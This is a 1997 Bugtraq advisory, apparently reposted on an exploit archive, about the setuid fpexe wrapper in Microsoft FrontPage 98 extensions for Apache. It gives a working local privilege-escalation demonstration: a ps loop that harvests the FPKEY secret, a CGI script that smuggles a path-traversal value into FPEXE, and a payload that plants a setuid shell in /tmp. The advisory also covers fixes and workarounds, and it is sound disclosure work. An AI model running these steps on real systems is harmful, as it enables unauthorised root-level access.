Micro$oft's attempt at FrontPage 98 server-side extensions for Apache

Summary
Description:The setuid root program (fpexe) which comes with the FrontPage extensions is a pathetic joke security-wise, as Marc Slemko demonstrates.
Author:Marc Slemko <marcs@ZNEP.COM>
Compromise: root (remote)
Vulnerable Systems:Those using the Micro$oft FrontPage extensions to Apache under UNIX.
Date:11 October 1997
Details


Date: Sat, 11 Oct 1997 12:56:54 -0600
From: Marc Slemko <marcs@ZNEP.COM>
To: BUGTRAQ@NETSPACE.ORG
Subject: Huge security holes in Microsoft FP98 server extensions for Apache

[Copies sent to bugtraq, inet-access, freebsd-security, the Apache
development mailing list, and the comp.infosystems.www.servers.unix and
microsoft.public.frontpage.extensions.unix newsgroups.]

Microsoft's FrontPage 98 server side extensions for Apache under Unix
include a small setuid root program (fpexe) to allow the FrontPage CGIs to
be run as the user who owns the pages as opposed to them all running as
the user the web server runs as.  This is necessary to get around gaping
loopholes that occur when all FrontPage documents are owned by the user
the web server runs as.

There are, however, gaping holes in this fpexe program that make it easily
exploitable to eventually gain root.

This is only in the FrontPage 98 extensions and is only in the Apache
version; it is completely unrelated to any Apache code and only occurs in
the Apache version simply because that is the only version where this
functionality is provided.

Details are at http://www.worldgate.com/~marcs/fp/

[Here is the page referenced --Fyodor]

Microsoft FrontPage 98 Security Hell

                                      Marc Slemko <marcs@znep.com>
                                       Last Modified: Wed Oct 22 1997 


Change History

     Sat Oct 11 1997: Initial posting of web page 
     Wed Oct 15 1997: Microsoft posted a note responding to the issues raised. I am glad to see that they have plans to release
     the source of the revised version for review when it is complete. I will update this page with further comments when the
     fixed version is released. 
     Wed Oct 22 1997: Microsoft has released a new version of the extensions that claim to fix the security issues. I will
     comment further on the security of their proposed fix after I have time to review the changes. Check back here in a few
     days for my comments. 

Introduction

The information below talks about using Microsoft's FrontPage 98 extensions with Apache on Unix with Microsoft's
mod_frontpage changes. This do not apply to running it on any other server or to running it on Unix without the Microsoft
mod_frontpage changes or to running it on Windows NT. There are, however, other security issues on such servers, some of
which are similar to those in the FrontPage 97 extensions. I should also note that the Unix server extensions seem to be
written in part or completely by Ready-to-Run Software Inc. (RTR) for Microsoft. I will refer to it as Microsoft's product
because it is, no matter who wrote it. This discussion is specific to the FrontPage 98 extensions. For more general information
on some security problems in earlier versions, some of which are resolved and some of which aren't, see Scott Fritchie's Why
I Don't Like Microsoft's FrontPage Web Authoring Tool web page. Parts of it are no longer entirely relevant, but it provides a
good background. 

It is no secret that the security of the FrontPage 97 and earlier Unix server extensions is quite poor, if Microsoft's instructions
are followed. Some of their instructions were quite hilarious when first released, like the suggestion of running your web server
as root. It is possible to make them more acceptable--acceptable enough for some sites--but it requires careful work by the
administrator. 

It had appeared like Microsoft had increased the security of the extensions in the FP98 version available from Microsoft's
Web Site. However, a closer examination reveals startling flaws. What they have done is make a small setuid root wrapper that
the web server calls. This wrapper than setuid()s to the appropriate user and runs the requested FP CGI as that user. The
problem lies in the fact that the wrapper ("fpexe") is written very poorly. while making such a wrapper secure can be difficult,
the gaping holes in this program show a complete lack of understanding of security in the Unix environment. 

The fpexe program is available for you to inspect yourself. It was originally posted in RTR's FrontPage FAQ. This version is
not exactly the same as the one currently distributed (at least it is not the same as the one in the BSD/OS 2.1 kit), but it is
close. Both appear to exhibit the same failings. 

When I refer to the FP CGI programs, I am referring to the three files normally referenced under the _vti_bin directory:
shtml.exe, admin.exe and author.exe. 

The key in this discussion is the fact that nothing is stopping anyone from trying to run this fpexe wrapper. If they can trick it
into running, they can possible gain privileges they shouldn't. 

Details on problems

Before you can understand the holes in the FP server extensions, you need to understand what I mean when I talk about the
"key". When the Frontpage-modified Apache server starts up, it generates a pseudo-random string of 128 ASCII characters
as a key. This key is written to a file that is only readable by the user that starts Apache; normally root. The server than passes
the key to fpexe. Since fpexe is setuid root, it can compare the key stored on disk with the one it was passed to be sure they
match; if not, it refuses to run. This is used in an attempt to guarantee that the only thing calling fpexe is the web server. Used
properly this is a powerful part of possible security precautions. I am not convinced that the generation of the key is
cryptographically adequate and it may be subject to intelligent guessing attacks, however I have not looked at it to see. As
discussed later, the cryptographical robustness of the key doesn't really matter. 

There are a number of problems with the setuid root fpexe program. I am not attempting a complete description of all the
problems and their possible consequences and fixes, just making a light sweep over the top. The more obvious problems
include: 

     Return codes from library calls are not properly checked. An example: 

         f = fopen( buf, "r"); 
         fgets( key, 129, f ); 
         fclose(f); 


     If fopen() failed (easy to make it do so with ulimit -n), then if your system did not core dump on a fgets() on a closed
     descriptor you would end up with an empty key. It is obviously easy to guess an empty key. I am not aware of any systems
     that exhibit this exact problem, but it is possible. Return codes need to be checked, especially in setuid programs. 
     Proper bounds checking is not done. This leads to obvious buffer overflows. An example: 

       strcpy( work, FPDIR ); 
       strcat( work, getenv("FPEXE") ); 


     I won't go into the details of what this does, but if you could cause this code to be executed, you could insert your own
     code on most systems and likely gain access to the UID the program is running as (root). This proves to be an
     unnecessary effort to go to, because this code is only executed if you have the correct key; if you have the correct key,
     there are far easier ways to gain access. Buffer overflows are one of the most popular (albeit normally boring) types of
     new holes in programs being publicized. 
     It does not clean the environment variables before starting the CGI. Again, this means you can gain access to the UID
     that the program runs as (not root). If the rest of the program was securely written, this could possibly be an issue
     however it is of little consequence currently due to the gaping holes in other areas. 
     It assumes that if you have the key, then you are authorized to have it run any program as nearly any user you tell it to.
     The process you are running also needs to be in the same process group as the web server; all CGIs run by the server,
     however, are in the same process group so if you can run a CGI script you can work around the second check. It does no
     further checks to be sure you are running as a user that should be allowed to run FrontPage CGIs (other than disallowing
     UID 0; the compiled version also disallows gid 0, however the source version doesn't) or that you are running a
     Frontpage related program. This means that if you get the key file, you can gain access to any non-root UID on the
     server. On 99% of boxes, that will give you root. For example, if binaries are owned by bin then become bin and replace
     one that is run by root from cron. The possibilities are endless once you obtain this level of access. 
     And, finally, the worst: it passes the key to fpexe via an environment variable! On most systems, environment variables
     are available via "ps -e". This means that anyone with access to run programs on the system (and there are often more
     people than you think that are able to do this, due to things such as CGIs) can see it as it is being passed from the web
     server to fpexe. Recall that once you have the key, there is little remaining before you can get full access to the system. 

Demonstration of an exploit

By now, it should be obvious that there is a serious security problem in the FrontPage 98 server extensions. Here is one
demonstration; do not think that this is the only way or that just because you prevent one step of this process from working it
is any more difficult to exploit the security holes. 

   I.First I have to find the key. This can be done by using ps to get the environment from fpexe. To do this, I first setup a
     loop running (this assumes a real aka. Bourne shell; if you use the bastard C-shell it obviously won't work as written): 

     while true; do ps axuwwe -U nobody | grep FPKEY; done

  II.Then I used ZeusBench, a very simple HTTP benchmark program, to generate load on the server: 

     zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30

     Any method of generating traffic could be used, including a web browser. Since I am using a very inefficient method of
     looking for a process, I need to generate lots of traffic to increase my chance of finding one. It certainly isn't likely to
     happen on the first request. The requests do have to be made to a FP CGI script so it will call fpexe. 
 III.Before long, I had what I wanted from ps (manually wrapped): 

     nobody   28008  0.0  0.2   180   76  ??  DN    6:51PM    0:00.01 
     SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000 
     FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77
     3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CD
     F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/* 
     PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/ 
     SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80 
     REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1 
     DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com 
     SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 
     REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0 
     REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe 
     SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe


 IV.Then I need to use the key to make fpexe think I am the web server. I can't just run this from a normal shell, since I need
     to be in the same process group as the web server. A simple CGI suffices: 

     #!/bin/sh
     echo Content-type: text/plain
     echo
     export FPUID=3; 
     export FPGID=3; 
     export FPEXE=../../../../../../../../tmp/gotcha; 
     export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59 
     /usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe  2>&1


  V.I need a program for it to run (/tmp/gotcha in this example): 

     #!/bin/sh
     /usr/bin/id
     cp /bin/sh /tmp/.mysh
     chmod u+s /tmp/.mysh


 VI.Then I simply make a HTTP request for the CGI script. I can then run /tmp/.mysh at my leisure to gain access to UID 3
     (bin on my system) and do what I want from there. 

Fixes

So now you want to fix it. Well. That's the hard part. The only real solution is for someone (either Microsoft or a third party)
to do some work to improve the security. It is possible to do this securely. Microsoft hasn't. They have no excuse. This page
will be updated when (if?) better fixes become available. 

The Apache web server has a suEXEC wrapper designed to allow for a similar thing; that is, execution of CGI scripts under a
user's own UID. It is very restrictive (some would say anal) about what it allows: there is a reason for that, as Microsoft's
obviously failed attempt at security shows. It is possible that suEXEC could be adapted to function in conjunction with
FrontPage, however it will not work without source modifications. 

One short term workaround until Microsoft addresses the issue is to simply remove the FrontPage setup from your system.
This can be done temporarily by removing the setuid bit from fpexe (ie. chmod u-s fpexe). This will prevent all the pretty
FrontPage CGIs from working. It will prevent people from uploading new pages using FrontPage's own methods (ie. they can
tell FrontPage to use FTP and they will still be uploaded), but generic content that doesn't rely on FrontPage's server side CGI
scripts should work fine. 

Another possible workaround is to prevent users from running the ps command. This could have a very negative impact on
your system if things depend on it, and is a poor solution however it may be the best one for you. On systems that don't use a
procfs (/proc) based ps, you can normally simply remove world execute permissions from it to disable it. If you are on a system
like Linux that normally uses a procfs for ps to get information, this doesn't solve the problem because someone can read from
the procfs directly. 

Last of all, since this problem only occurs when using FrontPage with the mod_frontpage extensions, it is possible to use the
FrontPage extensions on Apache without using mod_frontpage or fpexe. Unfortunately, this conversion is not easy. It means
that, after recompiling Apache without any of the Microsoft modifications (just commenting out mod_frontpage from the
Configuration file may be enough; haven't checked) you have to either manually copy the FrontPage CGIs to the appropriate
subdirectory under each user's web directory and make them setuid to that user or copy them (or make links) and don't make
them setuid to that user. The former preserves the current ownership. With the latter all the user's web files will need to be
changed back to being owned by the user the web server runs as or else they will be unable to manipulate them and some of the
FP CGIs won't run correctly. This is a pain and brings you back to the horrible security practice of letting anyone who can run
CGIs modify any FrontPage user's files. Although this may be the best temporary workaround (although quite annoying if you
have a large number of users), I can not go into step by step details of how to accomplish this change because I am not fully
familiar with various ways of using the FrontPage extensions. The Microsoft FP security considerations document (part of the
FP98 Server Extensions Resource Kit) provides some more details of the method in which the CGIs are run without fpexe. 

Comments

This sort of continued disregard for security is unacceptable and inexcusable. It does not take significant knowledge to know
that some of the things being done are flawed. If internal expertise is not available, an external consultant should be hired for a
security review of any critical code such as fpexe. This is not rocket science nor is it particularily advanced programming.
Nothing that I have described above is complicated or new. Code reviews are common practice in many companies and serve
good purpose. 

Once Microsoft fixes their glaring holes, assuming they do, I would suggest you should consider if you want to run their
FrontPage extensions at all. Even though, once fpexe is properly fixed, you only risk the accounts of users using FrontPage
(since that is who the FrontPage CGI scripts run as), that can be a significant risk. It is very possible that when someone gets
bored they will find a hole in the FrontPage CGI scripts that gives them user level access to your system. And Microsoft
doesn't (and isn't likely to in the future, if their past is any indication) give the source to those. Microsoft's own source speaks
better for itself than anyone else ever could. 

I have this nagging feeling that this will result in Microsoft coming out with a "fixed" version and not releasing the source to it
at all. After all, it was only after the source came out that these flaws became a problem. Right? Wrong. This was a gaping
hole waiting to be discovered. It would have almost certainly been discovered sooner or later regardless of source availability;
better sooner than later. I certainly hope that Microsoft doesn't think the lesson in this is that source should not be released. It
is insecure with or without the source. The FrontPage server extensions aren't going to find their way anywhere near any
machines I control any time soon because I have no trust in the company behind them. 

On a side note, Microsoft actually modifies the server name returned to clients when the FrontPage patches are installed in
Apache to include "FrontPage/x.x.x". That is fine, however it gives anyone connecting to your server the ability to determine
the chances of them being able to break into your system using holes in the FP server extensions. 



More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: